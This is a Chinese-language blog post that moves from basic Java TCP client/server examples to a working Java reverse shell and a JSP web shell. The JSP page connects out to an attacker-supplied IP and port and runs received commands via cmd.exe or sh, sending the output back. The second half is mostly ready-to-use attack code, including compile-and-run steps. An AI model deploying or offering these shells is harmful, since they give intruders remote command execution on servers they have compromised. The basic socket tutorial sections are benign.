美文网首页
Java 网络编程

Java 网络编程

作者: CSeroad | 来源:发表于2020-10-31 20:15 被阅读0次

    前言

    学了点java的网络编程,看看能干点啥。

    TCP通信

    对于服务端server

    • 本地监听端口,创建socket对象,即new ServerSocket()
    • 接收客户端对象,即调用accept()方法
    • 获取网络字节输入流,即socket.getInputStream()
    • 读取客户端发送的数据,即调用read()方法
    • 关闭资源,即socket.close()

    对于客户端client

    • 先socket对象,即new Socket()
    • 然后获取网络字节输出流,即socket.getOutputStream()
    • 再给服务端发送数据,即outputStream.write()
    • 最后关闭资源,即socket.close()

    客户端代码 TcpClient.java

    import java.io.IOException;
    import java.io.OutputStream;
    import java.net.Socket;
    
    /**
     * @author cseroad
     */
    public class TcpTest {
        public void client() throws IOException {
            //1.创建客户端
            Socket socket = new Socket("127.0.0.1",9090);
            //2. 使用socket对象的getoutStream()获取网络字节输出流
            OutputStream outputStream = socket.getOutputStream();
            //3. 输出流对象的write方法,给服务端发送数据
            outputStream.write("hello".getBytes("UTF-8"));
            //4. 关闭资源
            outputStream.close();
            socket.close();
        }
    }
    
    

    server端代码 TcpServer.java

    
    import java.io.ByteArrayOutputStream;
    import java.io.IOException;
    import java.io.InputStream;
    import java.net.ServerSocket;
    import java.net.Socket;
    
    /**
     * @author cseroad
     */
    public class TcpTest {
        
        public  void server() throws IOException {
            // 1. 创建服务器端的ServerSocket
            ServerSocket serverSocket = new ServerSocket(9090);
            // 2. 调用accept()表示接收来自于客户端的socket
            Socket accept = serverSocket.accept();
            //3.获取输入流
            InputStream inputStream = accept.getInputStream();
            //4. 将接收到的byte字节读取到字节数组缓冲区
            ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
            byte[] bytes = new byte[5];
            int length;
            while ((length = inputStream.read(bytes))!= -1){
                byteArrayOutputStream.write(bytes,0,length);
            }
            //4. 字节数组缓冲区再转化为字符串
            System.out.println(byteArrayOutputStream.toString());
            // 5. 从里到外关闭资源
            byteArrayOutputStream.close();
            inputStream.close();
            accept.close();
            serverSocket.close();
        }
    }
    
    

    注意:
    创建new ByteArrayOutputStream()字节数组缓冲区,将读取的数据写入该缓冲区,再转化为String字符串并输出。

    以上代码全部的异常都外抛了,我们进一步优化该代码并使用Scanner类作为用户自定义输入的内容进行发送。
    TcpClient.java

    
    import org.junit.Test;
    import java.io.IOException;
    import java.io.OutputStream;
    import java.net.Socket;
    import java.util.Scanner;
    
    /**
     * @author cseroad
     */
    public class TcpTest {
        public static void main(String[] args) {
            TcpTest tcpTest = new TcpTest();
            tcpTest.client();
        }
        @Test
        public void client() {
            Socket socket = null;
            OutputStream outputStream = null;
            try {
                //1.创建客户端
                socket = new Socket("127.0.0.1",9090);
                //2. 使用socket对象的getoutStream()获取网络字节输出流
                outputStream = socket.getOutputStream();
                //3. 创建scanner类获取用户的自定义输入,给服务端发送数据
                Scanner message = new Scanner(System.in);
                while (message.hasNext()){
                    String words = message.nextLine();
                    outputStream.write(words.getBytes("UTF-8"));
                    System.out.println("发送消息: " + words);
                }
            } catch (IOException e) {
                e.printStackTrace();
            } finally {
                //4. 关闭资源
                if(outputStream != null){
                    try {
                        outputStream.close();
                    } catch (IOException e) {
                        e.printStackTrace();
                    }
                }
                if (socket != null){
                    try {
                        socket.close();
                    } catch (IOException e) {
                        e.printStackTrace();
                    }
                }
            }
    
    
        }
    
    }
    
    

    TcpServer.java代码为

    
    import org.junit.Test;
    
    import java.io.ByteArrayOutputStream;
    import java.io.IOException;
    import java.io.InputStream;
    import java.net.ServerSocket;
    import java.net.Socket;
    
    /**
     * @author cseroad
     */
    public class ServerTest {
        @Test
        public  void server() {
            ServerSocket serverSocket = null;
            Socket accept = null;
            InputStream inputStream = null;
            ByteArrayOutputStream byteArrayOutputStream = null;
            try {
                // 1. 创建服务器端的ServerSocket
                serverSocket = new ServerSocket(9090);
                // 2. 调用accept()表示接收来自于客户端的socket
                accept = serverSocket.accept();
                //3.获取输入流
                inputStream = accept.getInputStream();
                //4. 将接收到的byte字节读取到字节数组缓冲区
                byteArrayOutputStream = new ByteArrayOutputStream();
               
                while (true){
                    byte[] bytes = new byte[1024];
                    int length = inputStream.read(bytes);
                    byteArrayOutputStream.write(bytes,0,length);
                    System.out.println("接受消息:"+byteArrayOutputStream.toString());
                }
                //4. 字节数组缓冲区再转化为字符串
            } catch (IOException e) {
                e.printStackTrace();
            } finally {
                if(byteArrayOutputStream != null){
                    try {
                        byteArrayOutputStream.close();
                    } catch (IOException e) {
                        e.printStackTrace();
                    }
                }
                if (inputStream != null){
                    try {
                        inputStream.close();
                    } catch (IOException e) {
                        e.printStackTrace();
                    }
                }
                if (accept != null){
                    try {
                        accept.close();
                    } catch (IOException e) {
                        e.printStackTrace();
                    }
                }
                if (serverSocket != null){
                    try {
                        serverSocket.close();
                    } catch (IOException e) {
                        e.printStackTrace();
                    }
                }
    
            }
    
        }
    }
    

    效果如下:

    image.png image.png

    还可以再添加exit退出的指令。
    TcpClient.java

    package com.atguigu.test;
    
    import org.junit.Test;
    import java.io.IOException;
    import java.io.OutputStream;
    import java.net.Socket;
    import java.util.Scanner;
    
    /**
     * @author cseroad
     */
    public class TcpTest {
        public static void main(String[] args) {
            TcpTest tcpTest = new TcpTest();
            tcpTest.client();
        }
        @Test
        public void client() {
            Socket socket = null;
            OutputStream outputStream = null;
            try {
                //1.创建客户端
                socket = new Socket("127.0.0.1",9090);
                //2. 使用socket对象的getoutStream()获取网络字节输出流
                outputStream = socket.getOutputStream();
                //3. 创建scanner类获取用户的自定义输入,给服务端发送数据
                System.out.println("请输入指令:");
                Scanner message = new Scanner(System.in);
                while (message.hasNext()){
                    String words = message.nextLine();
                    if("exit".equals(words)) {
                        break;
                    }
                    outputStream.write(words.getBytes("UTF-8"));
                    System.out.println("发送消息: " + words);
                }
            } catch (IOException e) {
                e.printStackTrace();
            } finally {
                //4. 关闭资源
                if(outputStream != null){
                    try {
                        outputStream.close();
                    } catch (IOException e) {
                        e.printStackTrace();
                    }
                }
                if (socket != null){
                    try {
                        socket.close();
                    } catch (IOException e) {
                        e.printStackTrace();
                    }
                }
            }
    
    
        }
    
    }
    

    实现java反弹cmd

    修改代码为反弹shell,这里使用经典的runtime类。用来实现client客户端和nc连用。
    TcpClient.java

    package javaweb.com.bili;
    
    
    import java.io.BufferedReader;
    import java.io.BufferedWriter;
    import java.io.IOException;
    import java.io.InputStream;
    import java.io.InputStreamReader;
    import java.io.OutputStream;
    import java.io.OutputStreamWriter;
    import java.net.Socket;
    
    public class TcpClient {
        public static void main(String[] args) throws Exception {
            Socket client = new Socket("127.0.0.1", 9900);
            InputStream getinputStream = client.getInputStream();
            BufferedReader input = new BufferedReader(new InputStreamReader(getinputStream));
            OutputStream outputStream = client.getOutputStream();
            BufferedWriter bufOut = new BufferedWriter(new OutputStreamWriter(outputStream));
            bufOut.write(client.getInetAddress().getLocalHost()+"已成功连接");
            bufOut.write("\r\n");
            while (true) {
                bufOut.write("shell:");
                bufOut.newLine();
                bufOut.flush();
                String line = input.readLine();
                if("exit".equals(line)) {
                    break;
                }
                System.out.println("接收命令:" + line);
                CmdExec(line,outputStream);
            }
    
        }
        
        public static void CmdExec(String cmd,OutputStream outputStream) {
            try {
                Process p = Runtime.getRuntime().exec("cmd.exe /c "+cmd);
                p.getOutputStream().close();//关闭输出流
                InputStream input = p.getInputStream();
                InputStreamReader ins = new InputStreamReader(input,"GBK");
                BufferedReader br = new BufferedReader(ins);
                String lines;
                String cmdresult;
                
                while((lines = br.readLine())!=null) {
                    cmdresult = lines+"\r\n";
                    outputStream.write(cmdresult.getBytes("GBK"));
                    
                }
            }
            catch (IOException e) {
                e.printStackTrace();
            }
        }
    
    }
    
    image.png

    某些时候无法执行echo、dir等语句,需要添加cmd.exe /c

    Process p = Runtime.getRuntime().exec("cmd.exe /c "+cmd);
    

    测试还存在一个问题,命令执行powershell的时候,程序没有正常关闭,处于挂起状态。
    添加该语句即可。

    p.getOutputStream().close();//关闭输出流
    

    没有IDE的情况下,javac先编译该TcpCilent.java文件,再java命令执行该脚本。
    该java文件需要先删除package包名不会出现"找不到主函数",以utf8编码格式编译不会出现编译异常。

    javac -encoding utf8  TcpClient.java
    java TcpClient
    

    实现jsp反弹cmd

    编写了java反弹cmd,稍作修改就可以。

    <%@ page language="java" contentType="text/html;charset=UTF-8"
             pageEncoding="UTF-8"%>
    <%@ page import="java.io.*"%>
    <%@ page import="java.net.Socket"%>
    
    <pre>
    
    <%
        String  ip = request.getParameter("ip");
        String port = request.getParameter("port");
        out.println(System.getProperty("os.name").toLowerCase());
        if(ip != null && port != null){
            try {
                int ports = Integer.parseInt(port);
                Socket client = new Socket(ip, ports);
                InputStream getinputStream = client.getInputStream();
                BufferedReader input = new BufferedReader(new InputStreamReader(getinputStream));
                OutputStream outputStream = client.getOutputStream();
                BufferedWriter bufOut = new BufferedWriter(new OutputStreamWriter(outputStream));
                bufOut.write(client.getInetAddress().getLocalHost() + "已成功连接");
                bufOut.write("\r\n");
                
                while (true) {
                    bufOut.write("shell:");
                    bufOut.newLine();
                    bufOut.flush();
                    String cmd = input.readLine();
                    if ("exit".equals(cmd)) {
                        break;
                    }
                    //out.println("接收命令:" + cmd);
                    Process p = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",cmd});
                    //windows
                    //Process p = Runtime.getRuntime().exec(new String[]{"sh","-c",cmd});
                    //linux
                    InputStream inputer = p.getInputStream();
                    InputStreamReader ins = new InputStreamReader(inputer, "UTF-8");
                    BufferedReader br = new BufferedReader(ins);
                    String lines;
                    String cmdresult;
                    while ((lines = br.readLine()) != null) {
                        cmdresult = lines + "\r\n";
                        outputStream.write(cmdresult.getBytes("UTF-8"));
                    }
                    p.getOutputStream().close();
                }
            }catch (IOException e) {
                e.printStackTrace();
            }
        }
        else{
            out.println("no ip and port Parameter !");
        }
    %>
    </pre>
    

    注意windows和linux传入runtime的参数值不一样,所以最好先判断是windows系统还是linux系统。
    效果如下

    image.png

    再相应传入ip和端口

    image.png

    总结

    代码还是不够规范,还需要改进。

    参考资料

    https://blog.csdn.net/wzy_1988/article/details/17131381
    https://wiki.silic.wiki/%E5%B7%A5%E5%85%B7%E5%88%86%E4%BA%AB:jsp%E5%AE%9E%E7%8E%B0socket%E5%8F%8D%E5%BC%B9shell
    https://www.runoob.com/java/net-serversocket-socket.html

    相关文章

      网友评论

          本文标题:Java 网络编程

          本文链接:https://www.haomeiwen.com/subject/hcjdvktx.html